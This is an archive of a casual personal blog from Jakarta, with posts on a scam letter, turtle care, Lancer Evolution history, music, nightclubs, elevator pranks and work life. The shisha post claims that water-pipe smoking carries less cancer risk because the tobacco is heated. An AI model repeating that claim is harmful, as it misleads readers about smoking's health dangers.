What a world to live...

Scam getting more serious

2010-02-19T09:11:00.003+01:00

You all must now what Scam means. Let me re-explain about it just to have more contents in the blog anyway. Hahaha.

Scam = A fraudulent business scheme. A swindle. To defraud. Swindle.

Before this I've also been getting many emails like this. Saying that I'm entitled for a big sum of money, and the amount will always be very tempting. Never be less than that. And the money can only be given to me after I've made certain actions. Which are very suspicious if I may say. So than everytime I receive that kind of email, I'll always just delete directly. Prefer to avoid such scam than regretting later on.

But today is different. I just got a letter today, not email but really is a physical letter. It's from Africa. Yes, again from there. Has it become a school's subject to learn how to make this kind of scam? Most of the spam, 90% scam email I got are from there.

Ok let's make it short, please observe, study and have a look at the letters and the envelope I've scanned. The letter says everything and as you can expect, sounded super suspicious. The envelope got the African's stamps, express & important mail note, etc. Very legit. Must've cost quite a bit sending the mail from Africa to Indonesia. I doubt this guy's sending only to me. Must be sending to quite lots of people too. So they are now improving to make it more and more legit. Making them to must have spend quite a bit to start a batch of sending the mail.

Well... Hopefully no one will be cheated. And if this guy is for real, sorry to say bad things about you man. But sorry I'm not the guy can easily believe on such easy money offer.

Sicken day...

2006-07-12T09:32:00.000+02:00

I went to the gym this morning. Early morning to be exact. Before to the office. So because of today's the first day for me after haven't fitness for a while, I start by only running on treadmill and after that only do some sit ups with different ways. At first I was doing OK. But not long after I start to get some weird feeling. As if that everthing I see starts turning to really shiny and white. So I stopped working out and try to catch some breath. But damn I'm not that strong, I threw up in the toilet. All liquid. It's not something nice.

After thinking of what happen, I believe that all because of I didn't get anything to eat before working out. So my stomach got upset. Well my bad... Let's hope tomorrow will be fine.

A new member for my car...

2006-06-23T14:08:00.000+02:00

I just got myself a new head unit for my car. Replaced the old one with it. But I'm not gonna throw away the old one. I'll keep it so when I decide to sell my car, I'll re-attach it and keep the new one. My new head unit is Nakamichi CD400. Probably some of you already know about it. Yes it is 24 bit Digital Analog Converter head unit. It is said to be one of the best head units up till now. Before I got that head unit, I did some research on Nakamichi.

Do you know what I got? Damn I almost collapsed. I found my old old Nakamichi head unit, back when I was still in junior high school. It was like 8 years ago I think. I don't actually know how much my uncle bought it for. But the price of it in the internet that I found was shocking. It's not brand new, it's used item. And it's selling for 799 euro. Can you believe it? Damn it man. It was so old. And it's only equipped with cassete deck only. No mp3, no cd, no satellite radio, no ..... How come? Please tell me the reason. Help me out.

Well I'm not angry because I sold it for low price, the head unit is still attached in my car. It's a Mitsubishi Galant 1996. Still in great condition. Nice power, nice toughness, nice handling, everything is still nice. Including my sound system. But I'm not driving that car anymore because I left it back in my hometown.

Things to know for ur pet...

2006-06-08T12:38:00.000+02:00

Turtles are interesting pets to have. They are prehistoric looking with the most obvious characteristic being the house they carry on their back, the shell. They are long-lived creatures. Some can live up to 80 to 100 years. So you may be embarking on a long commitment (you'll probably dead before ur turtle pet).

Turtles can be divided into three large groups: sea turtles, tortoises, and just plain turtles. You can usually tell the difference by looking at the animal’s feet. Aquatic turtles have feet that are suited for swimming and have webbing between the toes. Others lack webbing and are strictly land turtles. In most turtles, you can tell the difference between a male and female because their tail length differs. Males have a longer pointed tail than the females. Turtles adjust easily to confinement and we know that they have an acute sense of smell, and they can distinguish certain colors. They also have lungs much like humans. You can’t see them breathing because the ribs are fused within the shell.

If you buy a tortoise, which is less common than turtles, you need to know that they prefer dry land and are never in wet areas. You should never take one from the wild. It is important not to do so because not only can the turtle be aggressive since it has never been tamed, but they can also carry diseases.

The most common turtles are amphibious. They live on land and also in water. This is important when you are setting up your enclosure. An aquarium works well as long as it is large enough. Turtles can be lively and need to have as much room for swimming as possible.

The hardest part about keeping turtles is keeping them clean. The water in the tank will become unbearable every few days. When caring for these creatures, you have to be ready to make a commitment to cleaning their cage every few days.

When setting up the tank you will need to divide one portion for land and one portion for water. This can be done by using large rocks to create a pool of water on one side. The water level should be low enough that their nostrils can reach it while standing on their hind legs. For turtles that are strong swimmers, the water level can be even higher. The depth of the water should never be lower than the top of its shell. If the water level were lower, the turtle may have a tough time getting around.

Turtles seem to enjoy a fun area. You can construct an island out of plain aquarium gravel, but keep in mind it should be easy to clean.

You will also need a heater for the water. The best kind to buy is a submersible heater. Heaters that hang on the side are not recommended because turtles can chew them and they are not safe. It is also recommended that your enclosure have a hood or screen cover so they can’t climb out. The light does not have to be of high wattage. A 25 to 40 watt reptile basking light is fine. It is important not to leave this on all day. Some owners prefer only to leave it on at night when the temperatures drop.

Feeding is very important. You have to be careful not to feed too little or too much. Turtles have enormous appetites and you may find yourself spoiling him. You should feed very young turtles small amounts of food a couple of times a day. The diet of tortoises is mainly fruit. Tortoises have a sweet tooth and love tomatoes, bannanas, apples, and baby cereal. Protein should only be a minor portion of the diet. You can add protein to the diet by using canned dog food or crickets. Turtles on the other hand tend to be carnivorous. You need to offer them some herbivorous delicacies such as lettuce leaves. The main portion of their meal will however be protein based, such as s live crickets, fish, and earthworms. If you are unsure what to feed your turtle ask the individual from whom you purchased the turtle. You do not want to drastically change their diet.

Calcium is a need that must be met in the turtle’s diet. It is needed for their growing shell. In order to obtain calcium in their diet, you must feed them food such as snails or small fish. Some individuals prefer to add calcium to their diet by sprinkling it on as an additive. There are many commercial reptile calcium supplements that you can add to any diet.

Vitamin D is also needed in the diet. Vitamin D prevents the softening of the shell. Some individuals avoid adding an additional supplement of vitamin D, because too many vitamins can cause serious health problems.

Turtles also need sunlight. During the colder months, you can supplement this need with artificial radiation in the form of ultraviolet light. You should limit these treatments to two times a week, fifteen minutes of exposure each.

The most common tortoise kept as a pet is the box turtle. The box turtle falls in the tortoise category because they are terrestrial. They feed on fruits and insects. The most common turtles to keep are the painted turtles and slider turtles. Due to health laws, baby sliders can no longer be sold legally in many states. So it is important to know the state laws before purchasing.

Turtles can be an interesting pet to keep. With the proper attention to their needs they can be a pet that is part of your family for a long time.

Legendary car ever...

2006-05-12T05:06:00.000+02:00

1992.10 : MITSUBISHI launches the Lancer Evolution GSR sports sedan series with the purpose of participating in the World Rally Championship (WRC). The Lancer Evolution is equipped with a 2-liter turbocharged engine with a high capacity intercooler, air-to-air oil cooler, aluminum engine hood with large-sized air outlets and large rear spoiler.

1994.1 :The Lancer Evolution 2 is launched. Engine power is improved to 260 horsepower, with the rear differential being a mechanical limited slip type (LSD). The handling of the first Evolution was called a weak point by most and so Mitsubishi improved and sharpened the handling. Wider 205/60R15 tyres are fitted ; up by 10mm in tread width

1995.2:The body strength of the Lancer Evolution 3 is improved by 20%, allowing more body twist than the previous model. A revised large rear spoiler is equipped.

1996.10 :The new platform for the Evolution 4 is introduced. The conventional LSD is changed for an Active Yaw Control (AYC) system that can change left and right rear torque distribution. This is achieved by utilizing a torque transfer differential that controlled by various sensors and an electronic control unit (ECU) to enable a difference in torque to go to each of the rear wheels. This results in optimal power distribution between the left and right rear wheels to maintain maximum traction when cornering, correction under steer and over steer.

1998.1 :The Lancer Evolution 5 is developed as the base model for Group-A rally car. The Lancer Evolution 5 continues the evolution process (pun intended), with a further increase in engine torque and substantially improved handling thanks to a wider treads and upgraded BREMBO braking..
Tyre size is increased up to 225/45ZR17. The Evolution 5 is also equipped with a delta-shaped wicker and adjustable rear spoiler that can provide four different angle-of-attack settings for the wing to vary rear aerodynamic down-force to suit a wider range of driving conditions.

1999.2 : The Lancer Evolution 6 conforms to the WRC regulation for 1999. Improvements in safety and cooling are achieved in the latest EVO incarnation. The Evolution 6 features a number of new aero parts in its revamped exterior and interior design, as well as further improvements in handling, stability and cooling performance resulting in greater performance.
The 4G63 engine has been improved by changing the water temperature regulation, adding cooling channels to the pistons and by using a high-volume oil cooler. A larger diameter air intake hose and turbocharger air intake port is used to achieve improved high-end power output and response.
The interior boasts black/blue RECARO seats, a leather wrapped steering wheel, a blue-stitch shift lever boot and a blue dial face instrument cluster.
Also available by order is the RS Evolution 6 competition model designed for entry in motor sports events.

1999.10 : MITSUBISHI introduces the Lancer Evolution 6 TOMMI MAKINEN Edition, EVO 6.5. The MAKINEN edition features a tarmac tuned suspension that gives improved initial response on tarmac surfaces. A high-response titanium turbocharger gives better low-end and mid-range torque, using a smaller size compressor wheel. A new exhaust silencer is employed with a single large bore circular tailpipe for improved performance. 17-inch alloy wheels share the same design as on Mitsubishi's WRC Group-A works car

2001. 1 : MITSUBISHI announces the Lancer Evolution 7 go on sale on 3 February. Major features of the Evolution 7 include :
Face lifted exterior styling that combines superior aerodynamics and engine and brake cooling performance.
Improvements to the 4G63 in-line 4-cylinder DOHC turbocharged engine concentrate on boosting medium range torque that bears a maximum out put of 280 horsepower 39.0kg-m of torque.
A newly developed Active Center Differential (ACD) brings better handling response and traction to Evolution 7. Integrated control of the ACD and the Active Yaw Control (AYC) further increase acceleration and handling.
The Evolution 7 uses Mitsubishi's Sports ABS system incorporation electronically controlled brake force on each of the four wheels to maximize stopping power, steering response and stability during hard cornering.
Extensive weight reduction, reinforcements in the welding of the chassis, particularly at the joins, achieves a 50% increase in Torsional stiffness than Evolution 7's predecessor.

2004. 1: MITSUBISHI announces the release of the Lancer Evolution 8 sports sedan in Japan on January 31.
The main features of the Lancer Evolution 8 are :
Exterior :
Evolution 8 presents a more aggressive exterior design that incorporates the Mitsubishi design logo in the front grille and sees improvements in aerodynamic and cooling performance.
Intercooler efficiency has been boosted with a 10% enlargement of the mid-bumper air intake.
The rear spoiler adopts carbon fiber-reinforced plastic in its composition.
Engine :
Evolution 8 is powered by an improved version of the 2.0liter in-line 4-cylinder 16-valve DOHC twin scroll intercooled turbocharged 4G63 engine that develops maximum of 280 horsepower and 40.0kg-m of torque.
Optimization of the turbocharger has produced maximum torque of 40.0kg and even gutsier, flatter torque in the 3000rpm to 5000rpm band.
To enable the higher torque, cooling performance has been improved by updating the water pump capacity and by enlarging the water passages in the turbocharger. Engine durability and reliability have also been improved by up rating the aluminium pistons and forged steel conrods.
Transmission :
Evolution 8 adopts a 6 speed close-ratio gearbox to maximally utilize the engine's outstanding power and torque characteristics. The RS comes with a 5 speed manual gearbox and is available with 6 speed gearbox.
The 6 speed gearbox employs a pull-ring mechanism to prevent accidental selection of reverse.
All wheel control system :
Mitsubishi's All-Wheel Control system, comprising ACD, AYC and Sports ABS, has elevated Evolution's traction and dynamic performance to new levels. Debuting on Evolution 8,the new Super AYC now brings further and significant improvements to handling performance.
Super AYC uses a planetary gear differential in place of the bevel gear type in the current AYC to double the amount of torque it can transfer between the rear wheels. This enables Super AYC to boost both cornering and traction performance.
Brakes :
The Evolution 8 uses the same brakes as its predecessor ; 17 inch ventilated discs with 4 piston BREMBO callipers at the front and 16 inches ventilated discs with 2 piston callipers at the rear.
Evolution 8 also retains Sports ABS with EBD (Electronic Brake Force Distribution), which uses a steering wheel angle sensor to detect steering inputs. The computer uses this information to regulate braking force at each wheel independently and improve handling behavior under braking.
Body :
To improve handling stability and perceived driving quality, Evolution 8's body has been made stronger and stiffer in a program pinpointing those areas giving the largest gain in strength for the smallest increase in weight.
Suspension :
Complementing the stiffer body, detailed revision of Evolution 8's MacPherson strut front and multi-link rear suspension results in better at-limit handling stability and perceived driving quality on all conditions.

2004.2 : Lancer Evolution VIII MR.
The Lancer Evolution 8 is the first production model in Japan to use a lightweight aluminum roof panel. Other distinguishing features include exclusive BILSTEIN shock absorbers developed jointly with BILSTEIN, and BBS lightweight forged alloy wheels (optional).
The turbocharger waste gate now uses two solenoids. This optimizes boost pressure control to give more stable torque in the low to mid range, and the engine achieved torque of 4.08kg-m at 3500rpm. Detail improvements to the ACD + super AYC + sports ABS electronic all-wheel drive control system realize a more natural and better mannered driving.

2006: Mitsubishi announces the Lancer Evolution IX. The 2.0 L 4G63 engine now gets MIVEC technology (variable valve timing), boosting official power output to 286 hp (213 kW) and torque to 289 ft·lbf (392 N·m) - however actual figures are believed to be at least 10% higher. [citation needed]

The Lancer Evolution IX models (RS,IX,MR) vary in their performance capabilities. Subtleties unique to each model account for variations in acceleration, handling and top speed. The decontented RS is the purist's car, reaching 60 mph in a mere 4.4 seconds, compared to 4.5 for the slightly heavier IX and MR models (which have power windows, rear spoilers, and Xenon lights). Weight savings of over 60 pounds give the RS a subtly sharper handling responsiveness that helps it shave fractions of a second off the lap times of the IX and MR on an identical course. The premium price of the top-model MR is not spent in vain if speed is a priority, as the MR's 6th forward gear allows it to reach 165 mph at 7,000 rpm compared to 157 at 7,000 in 5th for the RS and middle-positioned IX models. (Note: Data relevant to U.S. model specifications)

The IX keeps all the Evolution VIII MR goodies like Bilstein shocks, a 6-speed manual transmission, vortex generators, BBS alloy wheels, Recaro bucket seats, Brembo brakes, MOMO steering wheel, and an aluminium roof. Additional revisions from 2005 include a closer gear ratio for the 5-speed transmission, new lighter Enkei wheels on non-MR models, a redesigned front end w/c a more efficient air dam (the most noticeable feature are the two small oval ducts to cool the intercooler pipes) and new rear bumper with a diffuser undersurface to smooth out the airflow coming out of the car.

Mitsubishi also developed the Evolution MIEV, based on the Evolutions IX's chassis but with 4 electric engines connected to the four wheels as a test bed for the Mitsubishi In-wheel Electric Vehicle (MIEV) next-generation electric vehicle. The in-wheel engines use a hollow doughnut construction to locate the rotor outside the stator unlike other electric motors where the rotor turns inside the stator. The result of this is a lighter engine which translates into lower unsprung weight in a system where the engines are mounted in the wheels. Each in-wheel engine produces a power output of 68hp, thus giving a massive combined output of 272 hp comparable to that of regular, gas powered Lancer Evolutions. The car subsequently competed in the Shikoku EV (Electric Vehicle) Rally 2005.

2006: Mitsubishi introduced a concept version of the next-gen EVO at the 39th Tokyo Motor Show named the Mitsubishi Concept-X. This version is rumored to be put into production in 2007, with possible adjustments in the rear lights and 20" wheels.

Alongside the new look, Mitsubishi is packaging this model with a new S-AWC (Super All Wheel Control) system, which, as on previous models has 3 settings, Dirt, Snow and Tarmac. Smart All Wheel Systems have always been Mitsubishi's entry into the high performance car world.

A new piece of work from Quentin...

2006-05-12T04:53:00.000+02:00

You all must know Quentin Tarantino. There's no way in this world you've never heard of his name or watch at least one of his movies. I just watch his new work. The movie called Hostel. It's a totally different kind of idea. Man I really admire that Quentin guy. He always have something new to put in the movie. Watch this movie, you'll know what I'm saying. Man I've never thought or imagine about that kind of thing. As usual it is so so so so cruel, blood bath, gross, disgusting, ... But that's why Quentin is so different from any other director.

OK what you're about to read is the movie details. I copy it from yahoo. I'm sorry Yahoo Guy...

"Two adventurous American college buddies, Paxton and Josh, backpack through Europe eager to make quintessentially hazy travel memories with new friend Oli, an Icelander they've met along the way. Paxton and Josh are eventually lured by a fellow traveler to what's described as a nirvana for American backpackers--a particular hostel in an out-of-the-way Slovakian town stocked with Eastern European women as desperate as they are gorgeous. The two friends arrive and soon easily pair off with exotic beauties Natalya and Svetlana. In fact, too easily. Initially distracted by the good time they're having, the two Americans quickly find themselves trapped in an increasingly sinister situation that they will discover is as wide and as deep as the darkest, sickest recess of human nature itself--if they survive"

Another good song...

2006-05-12T04:48:00.000+02:00

First listened when I was dring to the office. I'm not sure about what that guy's singing. But I'm pretty sure that he's talking about the same thing like what she's singing. Why don't you guys out there try to find this song in your local music store, either buy it or try to listen to it. Or probably you can request it to your favorite radio channel. Here's the lyrics for that song.

Eros Ramazzotti Feat Anastacia – I Belong To You (Il Ritmo Della Passione)

Adesso no, non voglio più difendermi
Supererò dentro di me gli ostacoli
I miei momenti più difficili
Per te

There is no reason, there is no rhyme
It's crystal clear
I hear your voice
And all the darkness disappears
Everytime I look into your eyes
You make me love you
Questo inverno finirà
And I do truly love you
Fuori e dentro me
How you make me love you
Con le sue diffcoltà
And I do truly love you

I belong to you, you belong to me
Forever

Want you
Baby I want you
And I thought that you should know
That I believe
And your the wind that's underneath my wings
I belong to you, you belong to me

Ho camminato su pensieri ripidi
You're my fantasy
Per solitudini e deserti aridi
You're my gentle breeze
Al ritmo della tua passione ora io vivrò
And I'll never let you go
L'amore attraverserò
You're the piece that makes me whole
Le onde dei suoi attimi
I can feel you in my soul
Profondi come oceani

Vincerò per te le paure che io sento
Quanto bruciano dentro le parole che non ho più detto, sai...

Oh..
Want you
Baby I want u
And I thought that you should know
That I believe

Lampi nel silenzio siamo noi yeah
I belong to you, you belong to me

You're the wind that's underneath my wings
I belong to you, you belong to me
Yeah hey yeah he

Adesso io ti sento
I will belong forever, to you

World well known DJ....

2006-04-20T11:39:00.000+02:00

Mauro Picotto is a genuine superstar from Italy. Thousands of adoring fans queue up around the block to see him DJ from Birmingham to Buenos Aires, Manchester to Madrid, Cardiff to Colombia and America to Asia. His records sell in large quantities. His productions fill up the multifarious dance compilations filling the shelves of our HMV's, Virgins and supermarkets. He is constantly in the dance & style magazines. Mauro Picotto is the first Italian DJ ever to create a successful event known across the globe. He has been the first and only Italian featured amongst the world’s top ten DJs.

Crossing the boundaries of musical styles is normally the kiss of death for most artists. Only the talented few can survive the typecasting that global success has brought them and Mauro Picotto is the leader of the pack. The promos on his Alchemy imprint are so cutting edge that gloves need to be worn when handling them. The debut single, a 4 tracker called Alchemy EP, was released internationally in July 2003 receiving universal acclaim from the industry types and party hedonists alike becoming an anthem on the electronic dance scene.

Mauro is a contemporary music icon. Mauro's productions have stormed the national charts in Germany, Holland, Italy, Spain, France and of course the UK over the last 2 years with tracks such as Lizard, Awesome EP and re-mixing everybody from Josh Wink to U2. Mauro Picotto delivered one the defining dance album of 2002 with 'The Others' album selling 15000 copies in the first month of release and had another UK Top 40 hit with Pulsar 2002. Mauro Picotto has also delivered multi-selling compilation albums across the globe. (most notably the 60,000 selling Metamorphose techno compilation in Germany, an impressive figure as there was almost no marketing spend whatsoever just word-of-mouth...)

Mauro's Djing schedule is crazy with him being on more planes than the average pilot and playing in front of the biggest crowds on this planet. Mauro is selective as to where he plays and performs at the best clubs and events in the world. The tail end of the year looks equally grueling with regular guest spots in Ibiza, a further world tour incorporating North and South America, Asia, Malaysia, Australia and nearly every European country it's fair to say Mauro will be adding several thousand more air miles to his travel cards.

Not content with his very strong global presence, in summer 2004 Mauro continued his global domination by unleashing his Meganite brand on the party hedonists mecca, the white island of Ibiza. Mauro planned his strategy positively; not satisfied with a few banners and a strobe, he insisted on a complete makeover of Privilege. This famous venue was reduced exclusively for Meganite to a bite size of 3000 people. 35 sq.ft. projection walls, new stages and sound system helped set this event apart from the norm.

I can't figure it out...

2006-03-13T11:07:00.000+01:00

Last weekend I went to this club in BNI 46 building. The name is Shiro. Sounds like Japanese kind of club. But actually there's nothing like Japanese stuff there. Went there with my friends. I told them that there's this club in that building. I found that place was accidentaly. So I was in that building too, but planning to go to a club called Circa. While waiting for my friends, I checked out that Shiro place. And I found it so interesting. The interior is nice, the music is not bad, the sound system is OK, and the price is not that expensive. But that's all I knew, because I didn't even spend more than 1 minute to look around it before my friends called and asked to meet up.

So we went there. As I told them on the way to shiro exactly the way I told you just now. After we got there, there was no one around. Not a single soul, well except for the waiters, waitresses, bartenders, manager and the DJ. I mean there's no other visitor else than us. We thought it's because of still early (it was like around 11pm). We ordered some drinks and just chit chat. By the time we're ready to leave, there's still no other sinners around.

That's why I put the topic like that. I can't figure out why? Why there's no visitor in that such a nice club. Personally I give that club an 8. Considering from the atmosphere, design, etc. 1 as the lowest, 10 as the highest.

Could it be there was an accident there before?
Could it probably a forbidden club?
Could it filled with some restless spirits?
Could it be a targetted club by cops?

Peace.....

Something's not right around here......

2006-03-06T04:17:00.000+01:00

This is not right. My mind, my body, physically, mentally, .... They're failing on me. I am writing this right now in the condition of unstable. Curious why? Let me try to break down the story...

Yesterday Sunday March 5, 2006, I woke up early in the morning. Around 7-8am, couldn't continue my sleep as usual. Got to wake up. So i did. Brush my teeth, get something to eat, to drink, etc. Still hungry though, so I cooked some instant noodle. After that the day pass as usual. Around 4pm I fell a sleep. Woke up around 6pm. Got hungry again, so I filled up and satisfy the appetite. Here's when the disaster starts. Eversince I got up, I'm wide awake. Not feeling sleepy, tired or anything. I know that I have to sleep because in a few hours I'll have to go for work. But up till 4am, I spent the night only by watching dvd alone in the dark. I forgot what time I actually managed to get some sleep. But than in 7am I had to do what I must do. Took a shower, brush my teeth, get some shirt and prepare to go for work. I remember that my eyes were still red when I saw them in the mirror. But what to do? Nothing. So Like any other working day, get to the car and set to the office. Everything seems to be wrong. The door was kind of weird, it made some weird noise once. Not after I recheck. Got in the car, a bit more funny noise from the engine. Start driving, in the traffic not far from house I realized that I forgot my wallet. My ID, driving licence, car registration, money, they're left somewhere in my room. But it's impossible to return, because I know the traffice will be worse if I decided to return. So I kept driving. There are a lot more to say... But I can't continue. I'm so tired now. Gotta rest a bit. By the way I'm in the office now, and I barely can keep my eyes open for 1 minute.

Well..... Cheer me up from whereever you are.... Whoever you are.... Whenever you are reading this.... Whatever way you are cheering me....

Peace....

Kill time in the elevator....

2006-03-03T07:32:00.000+01:00

There are a few things to do while you are in the elevator. Some of these ideas can be funny but some can cause a fight. You decide which one you will use. Don't tell them that I was who give you these all ideas. I don't know you, you don't know me. So why blackmail me? I didn't do it. I only putting these all up here.

When there's only one other person in the elevator, tap them on the shoulder and then pretend it wasn't you.
Push the buttons and pretend they give you a shock. Smile, and go back for more.
Ask if you can push the button for other people, but push the wrong ones.
Call the Psychic Hotline from your cell phone and ask if they know what floor you're on.
Hold the doors open and say you're waiting for your friend. After awhile, let the doors close and say, "Hi Ton. How's your day been?"
Drop a pen and wait until someone reaches to help pick it up, then scream, "That's mine!"
Bring a camera and take pictures of everyone in the elevator.
Move your desk in to the elevator and whenever someone gets on, ask if they have an appointment.
Leave a box in the corner, and when someone gets on ask them if they hear something ticking.
Pretend you are a flight attendant and review emergency procedures and exits with the passengers.
Stand really close to someone, sniffing them occasionally.
When the doors close, announce to the others, "It's okay. Don't panic, they open up again."
Pretend to catching at flies that don't exist.
Look painfully annoy while knocking your forehead and say, "Shut up, all of you, just shut up!"
Stand silently and motionless in the corner, facing the wall, without getting off.
Wear a puppet on your hand and use it to talk to the other passengers.
Listen to the elevator walls with your stethoscope.
Make explosion noises when anyone presses a button.

When you have done some of these ideas, what about sharing your experience with me? I'll try to give some suggestions on what to do next.

Peace...........

Just one sentece.....

2006-03-02T11:49:00.000+01:00

Don't ignore the power communication. It happened to me just recently. Just because of I told my boss that I cannot be on time to the office because of the traffic, now I get the consequences. He moved my working time. From the previous one, 8am to 5pm. Now it's 9am to 6pm. Well in the morning it's actually better for me. But the afternoon? That doesn't sound right? Don't you think so?

Well that's why I put Just one sentence in my topic for this time. Don't take my example above too seriously. But let's try to put it in other scenario. Hmm... let me think what's a good example. What about conversation between you n your girlfriend? Put it this way, one day your girlfriend suddenly ask you whether you miss / love / ... her? We men sometimes don't like to answer that such a question. There are reasons for that I believe. So than you just ask her back why do you ask that? Or you just laugh. Or you just keep quite. Or you just answer her unpropriately. Can you guess what's going to happen? Of course it's obvious, she'll be angry, hurt, shock, sad, cry, ... When that happened, you are too late to fix what you just said. You are a total idiot in front of her now. Like that? I don't think so. Eventhough you try to explain to her that you didn't mean to hurt her or anything, but still.... Like there's a song by a girl I forgot her name first cut is the deepest.

So now let's try to avoid that to happen. Yes it is hard. But there's no harm trying. Right?

Peace.............

What has this country become...

2006-02-27T03:11:00.000+01:00

This is so depressing.
Why... Why... Why...
What have I done wrong that I must get this?
I don't deserve this.
What in the world is wrong with my favorite magazine?
Just because of some guys create some riot and threaten will destroy those bookshops selling men's magazine, now my favorite magazine cannot be found anymore anywhere anytime.
Oh my magazine... Where art thou?
I damned thee who cause this....

I don't know whether I should tell you what's my favorite magazine is.
Well what if I just give you a little hint.....

in my language it means Majalah Buat Pria.
to translate it in a really bad way, it means reading book for dudes...

That's a little hint only right?

Peace Out...................

Burn it now.............

2006-02-13T04:24:00.000+01:00

Burn it... burn........

No, not house, not riot and stuff. What I mean is shisha. Let's explore a bit about shisha.

Shisha is a traditional Middle Eastern or Asian device for smoking. It is also known as a water pipe, nargeela/arghileh/nargile, hookah, kalyan, ghelyoon or Ghalyan, or hubble bubble. It works by water filtration and indirect heat.

It is said to have originated in India or perhaps even as far as China. Shisha smoking is particularly popular in the Arab Middle East where coffee shops attract people with an almost irresistible scent. Nowadays, shisha smoking is a seemingly unbreakable social habit in popularity, especially among non Arabs. There are two different styles of shisha those from Turkey and those from Egypt.

A shisha's ability to produce pleasant, non irritating smoke has lead many to believe that shisha smoking is less destructive to one's health than most other methods of smoking cigarettes. Unlike cigarettes, where smoke is produced by the ignition and burning of tobacco, shisha produce a flavorful smoke by heating moistened tobacco. Research has shown that fewer cancer danger because the tobacco is heated, rather than burned.

Have you tried shisha before? At least once?

Running...Running......

2006-02-08T10:47:00.000+01:00

Haha. What I did today was kind of fun. Or sucks by what others think. But anyway I just have to write this experience eventhough it sounds so lame.

Well this morning I was assigned by my boss to get a couple of pre-paid numbers for mobile phones and also one usb-mouse. Because of the place to buy handphones and accesories is so near to my office, I can just walk to there. Maybe I haven't mentioned about this before, I work right beside ITC Roxy Mas, Jakarta. Everybody here in Jakarta know that if you want to buy mobile phones with the cheapest price, you should go there.

Ok. So I went there and look for some prepaid numbers. I tried to find the cheapest and coolest number I can get. So after quite a while, I find them. Paid for them and buy 2 top-up vouchers along. After that I start looking for the usb-mouse. I forgot to mention again, this ITC Roxy Mas is 5 storeys high building. So it's enough for you to loose a couple of kilograms if you run around from down to top or top to down of the building. Start looking and only can find a couple of shops that sell computer mouse. Unfortunately both of them are only selling ps2-mouse. So I asked the security there and ask where to get this usb-mouse. He said that there are a few shops but they are outside of this building. So they are in the business complex beside it, my office complex.

When I start looking, it's still fine. But than in like half an hour, it starts raining. Damn I have to run around and find places as a shelter. haha. But that kinds of fun. Run in the rain, etc......

Why does this happen to me...

2006-02-07T05:33:00.000+01:00

Actually it's my fault. Yesterday at work was like hell. I was so tired, so sleepy, so ........ Right at 5pm, I straigt away went home. Reached home, got into my room, lay on the floor without taking off or changing my clothes. And sleep... Around 9pm I got awake. Had to eat something, so hungry. After that I couldn't sleep anymore. So I played a game. X-Men II Rise Of Apocalypse. It was interesting. And so additive. Didn't realize it's alreay 4am. So I turned off the computer and went to sleep. Around 7am my mom and my sis wake me up. Took a bath, get dress, and set to the office. I know that I'll be late to the office. But didn't thought it'll be that late. Right when I want to get out of my house neighborhood, the traffic already quite crazy. Patience....listened to radio....eat some snacks....waste time in the car. After that traffic, it's ok. No traffic untill the road beside the tollway. Usually I take that road. But the traffic was nuts. So I took a detour and head to the tollway. It was better. I reached the office at 9.20am. When I was supposed to be in the office by 8am. Damn........

Out of nowhere...

2006-02-06T05:08:00.000+01:00

I was just replying my friend's message from friendster. He was saying that working life is boring. But I don't agree with him. So I start typing and out of nowhere these sentences come out of my mind. And I think it's a good think to share with you all...

No, you're wrong. Working life, start living as an adult is not boring. It's challenging. Somethink like adventure. In fact previous lifestyle is "boring" because you only need to follow on the path. That path is already there, provided, fully available. The thing is you only need to choose between do you want to take the path or not. But now, with this new lifestyle you need to create the path to your future. You can either make the good path, easy path, great path, bad path, worst path, full of struggle path or any other kind of path. So you are in total control of your future. Like what I read somewhere, "if this life doesn't make you crazy, why bother living it?" We're human, we need the adrenaline rush. It excites us.

Well... Actually what I wrote to him wasn't like this. Because as I start typing here, the ideas keep coming to my brain and send the signal to my fingers to start hitting the keyboard and type. I kind of like this, can I be a writer? Isn't it sweet if I can write my own book, publish it, sell it to some bookstores, and probably winning some of readers' hearts and they make my book as best seller. Any idea what kind of topic will be a good starter for me?

One day....

2006-02-01T05:27:00.000+01:00

One day I'll get my favorite Kawasaki's Dirtbike
One day I'll get my own crib
One day I'll get a letter of resignation for my Boss
One day I'll get a hold of business on my own
One day I'll get people to do work for me
One day I'll get a grip of what people called dream
One day I'll get all Mitsubishi Lancer Evolution cars
One day I'll get someone be by my side eternally
One day I'll get my life in a comfortable living style
One day I'll get myself in a seat where I can control and get what I want
One day I'll get acknowledgement from all
One day I'll get a taste of total freedom

And when the day comes, I'll be complete....

unexpected.....

2006-01-11T11:50:00.000+01:00

woww....
i didn't notice it before. i listened to it so many times before on the radio. but this morning i just found out something interesting. have you all listened to System of A Down - Hypnotize? that song's lyric means deeeeeeppppp...... didn't know also that they do that kind of emotion expression. great band and great guys. but my favorite band still is KORN. none comes close to them as to my appreciation.

Me in the working environment....

2005-12-03T03:40:00.000+01:00

Been working for 2 different companies in the last one month.

First I worked for Commonwealth Bank. It's a really tough job. But I really like the environment, the people, etc. But than I cannot keep up. Because the work is stressing, great preassure. Man I cannot stand longer. But while working there, I got a call from other company. Interview the next day after I got the call. The interview went well. So I am to be prepare to start working within next week after interview.

Second company, P.T. ValuePlus Indoraya. It's a malaysian company. In Indonesia is only the branch. This is an I.T. company. Selling software and hardware. I kind of like this job. Because this suits me. It's still within my knowledge. Let's hope I'll do well here.

Today is Saturday, 09.35am. I have to work also. Monday to Saturday. 09.00am to 17.00pm. But Saturday only till 13.00pm. There's almost nothing to do at this moment. So I decided to use this free time to update my friendster and my blog.

Well peace out you all. Gotta go now....

Something I've never done before....

2005-11-05T12:35:00.000+01:00

I'm 23 this year. I've spent the last 23 years without holding a novel or book no more than 1 minute. I don't like to read lots of sentences. Seems so hard for me. It's boring.

But now I'm different. I decided that I have to be a different from now on. So I start reading a book. The title is How to stay sane in this crazy world. It's written by Lazarus brothers. I have to admit that reading book is not that hard. I kind of start to put interest in book stores. When there's a chance, I'll stop by at a bookstore and start finding reading other books. You've gotta try the book I stated above. It's pretty good. Already start reading since last month, but I haven't finish it. Haha... Looks like I gotta put more effort in it.

The second book I read is by Larry King. I forgot what's the title. But in that book he teaches us how to be a good speaker base on his own experience. Not bad actually. I start reading last week. And now it's only left around 3 more chapters. I'm good with this book. Because I don't think I'm a good speaker.

